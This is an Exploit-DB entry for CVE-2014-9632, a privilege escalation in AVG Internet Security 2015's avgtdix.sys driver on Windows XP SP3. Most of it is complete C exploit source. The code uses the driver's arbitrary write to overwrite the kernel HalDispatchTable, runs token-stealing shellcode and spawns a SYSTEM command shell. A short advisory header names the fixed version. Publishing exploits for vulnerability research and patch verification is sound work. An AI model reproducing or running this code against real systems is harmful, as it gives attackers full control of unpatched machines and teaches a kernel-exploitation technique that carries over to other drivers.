AVG Internet Security 2015.0.5315 – Arbitrary Write Privilege Escalation

  • 作者: Parvez Anwar
    日期: 2015-02-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35993/
  • /*
    
    Exploit Title- AVG Internet Security 2015 Arbitrary Write Privilege Escalation
    Date - 04th February 2015
    Discovered by- Parvez Anwar (@parvezghh)
    Vendor Homepage- http://www.avg.com/
    Tested Version - 2015.0.5315 
    Driver Version - 15.0.0.5204 - avgtdix.sys
    Tested on OS - 32bit Windows XP SP3 
    OSVDB- http://www.osvdb.org/show/osvdb/113824
    CVE ID - CVE-2014-9632
    Vendor fix url - http://www.avg.com/eu-en/avg-release-notes
    Fixed Version- 2015.0.5557
    Fixed driver ver - 15.0.0.5553
    
    
    
    Note
    ----
    Overwritten HAL dispatch table after exploit
    
    kd> dps nt!HalDispatchTable l c
    8054ccb800000003
    8054ccbc00340000
    8054ccc08678d9a0
    8054ccc40a050002
    8054ccc86e66744e
    8054cccc001c0707
    8054ccd000000180
    8054ccd4000001a4
    8054ccd8867d6690
    8054ccdc86706480
    8054cce000000000
    8054cce4804e42d1 nt!ObpTraceDepth+0x19
    
    10 pointers get overwritten. Since input buffer is in our control and pointers
    are static in XP I've triggered the overwrite again restoring the pointers.
    
    */
    
    
    #include <stdio.h>
    #include <windows.h>
    
    #define BUFSIZE 4096
    
    
    typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID Unknown1;
     PVOID Unknown2;
     PVOID Base;
     ULONG Size;
     ULONG Flags;
     USHORTIndex;
     USHORTNameLength;
     USHORTLoadCount;
     USHORTPathLength;
     CHARImageName[256];
    } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
     
    typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
    
    typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
    } SYSTEM_INFORMATION_CLASS;
    
    typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);
    
    typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);
    
    typedef void (*FUNCTPTR)(); 
    
    
    
    // Windows XP SP3
    
    #define XP_KPROCESS 0x44// Offset to _KPROCESS from a _ETHREAD struct
    #define XP_TOKEN0xc8// Offset to TOKEN from the _EPROCESS struct
    #define XP_UPID 0x84// Offset to UniqueProcessId FROM the _EPROCESS struct
    #define XP_APLINKS0x88// Offset to ActiveProcessLinks _EPROCESS struct
    
    
    BYTE token_steal_xp[] =
    {
    0x52,// push edx Save edx on the stack
    0x53,	 // push ebx Save ebx on the stack
    0x33,0xc0, // xor eax, eax eax = 0
    0x64,0x8b,0x80,0x24,0x01,0x00,0x00,// mov eax, fs:[eax+124h] Retrieve ETHREAD
    0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
    0x8b,0xc8, // mov ecx, eax
    0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN]Retrieves TOKEN
    0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-|Retrieve FLINK from ActiveProcessLinks
    0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS |Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+XP_UPID], 4|Compares UniqueProcessId with 4 (System Process)
    0x75,0xe8, // jne ---- 
    0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN]Retrieves TOKEN and stores on EDX
    0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
    0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edxOverwrites the TOKEN for the current KPROCESS
    0x5b,// pop ebxRestores ebx
    0x5a,// pop edxRestores edx
    0xc2,0x08// ret 8Away from the kernel
    };
    
    
    
    BYTE restore_pointers_xp[] =// kd> dps nt!HalDispatchTable
    "\xf2\xa3\x6f\x80"// 8054ccbc806fa3f2 hal!HaliQuerySystemInformation
    "\xce\xa3\x6f\x80"// 8054ccc0806fa3ce hal!HaliSetSystemInformation
    "\x0b\x46\x61\x80"// 8054ccc48061460b nt!xHalQueryBusSlots
    "\x00\x00\x00\x00"// 8054ccc800000000
    "\x4d\xac\x50\x80"// 8054cccc8050ac4d nt!HalExamineMBR
    "\x89\x6f\x5c\x80"// 8054ccd0805c6f89 nt!IoAssignDriveLetters
    "\xe5\x4a\x5c\x80"// 8054ccd4805c4ae5 nt!IoReadPartitionTable
    "\x7b\x3f\x61\x80"// 8054ccd880613f7b nt!IoSetPartitionInformation
    "\xef\x41\x61\x80"// 8054ccdc806141ef nt!IoWritePartitionTable
    "\x57\xd1\x52\x80"; // 8054cce08052d157 nt!CcHasInactiveViews
    
    
    
    DWORD HalDispatchTableAddress() 
    {
    _NtQuerySystemInformationNtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION pModuleInfo;
    DWORDHalDispatchTable;
    CHAR kFullName[256];
    PVOIDkBase = NULL;
    LPSTRkName;
    HMODULEKernel;
    FUNCTPTR Hal;
    ULONGlen;
    NTSTATUS status;
    
    
    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
     	
    if (!NtQuerySystemInformation)
    {
    printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
    return -1;
    }
    
    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    
    if (!status) 
    {
    printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
    return -1;
    }
    		
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    
    if(pModuleInfo == NULL)
    {
    printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
    return -1;
    }
    
    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
    	
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;
    
    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');
    
    Kernel = LoadLibraryA(++kName);
    
    if(Kernel == NULL) 
    {
    printf("[-] Failed to load kernel base\n\n");
    return -1;
    }
    
    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
    
    if(Hal == NULL)
    {
    printf("[-] Failed to find HalDispatchTable\n\n");
    return -1;
    }
    
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);	
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);
    
    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
    
    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
    
    if(!HalDispatchTable)
    {
    printf("[-] Failed to calculate HalDispatchTable\n\n");
    return -1;
    }
    
    return HalDispatchTable;
    }
    
    
    int GetWindowsVersion()
    {
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;
    
    version = GetVersion();
    
    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));
    
    if (minVersion == 1 && majVersion == 5) v = 1;// "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;// "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;// "Windows Server 2003;
    
    return v;
    }
    
    
    void spawnShell()
    {
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    
    
    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    
    si.cb= sizeof(si); 
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;
    
    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
    printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
    return;
    }
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    }
    
    
    
    int main(int argc, char *argv[]) 
    {
    
    _NtQueryIntervalProfile NtQueryIntervalProfile;
    LPVOIDinput[1] = {0};
    LPVOIDaddrtoshell;
    HANDLEhDevice;
    DWORD dwRetBytes = 0;
    DWORD HalDispatchTableTarget;
    ULONG time = 0;
    unsigned char devhandle[MAX_PATH]; 
    
    
    printf("-------------------------------------------------------------------------------\n");
    printf(" AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit\n");
    printf(" Tested on Windows XP SP3 (32bit)\n");
    printf("-------------------------------------------------------------------------------\n\n");
    
    if (GetWindowsVersion() == 1) 
    {
    printf("[i] Running Windows XP\n");
    }
    
    if (GetWindowsVersion() == 0) 
    {
    printf("[i] Exploit not supported on this OS\n\n");
    return -1;
    }
    
    sprintf(devhandle, "\\\\.\\%s", "avgtdi");
    
    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
     	
    if (!NtQueryIntervalProfile)
    {
    printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
    return -1;
    }
     
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if(addrtoshell == NULL)
    {
    printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
    return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);
    
    memset(addrtoshell, 0x90, BUFSIZE);
    memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
    
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
    printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
    return -1;
    }
    else 
    {
    printf("[+] Open %s device successful\n", devhandle);
    }
    
    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
    
    input[0] = addrtoshell;// input buffer contents gets written to our output buffer address
    
    printf("[+] Input buffer contents %08x\n", input[0]);
     	
    printf("[~] Press any key to send Exploit. . .\n");
    getch();
    
    DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
    
    printf("[+] Buffer sent\n");
    
    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();
    
    printf("[+] Restoring Hal dispatch table pointers\n\n");
    
    DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
    
    CloseHandle(hDevice);
    
    return 0;
    }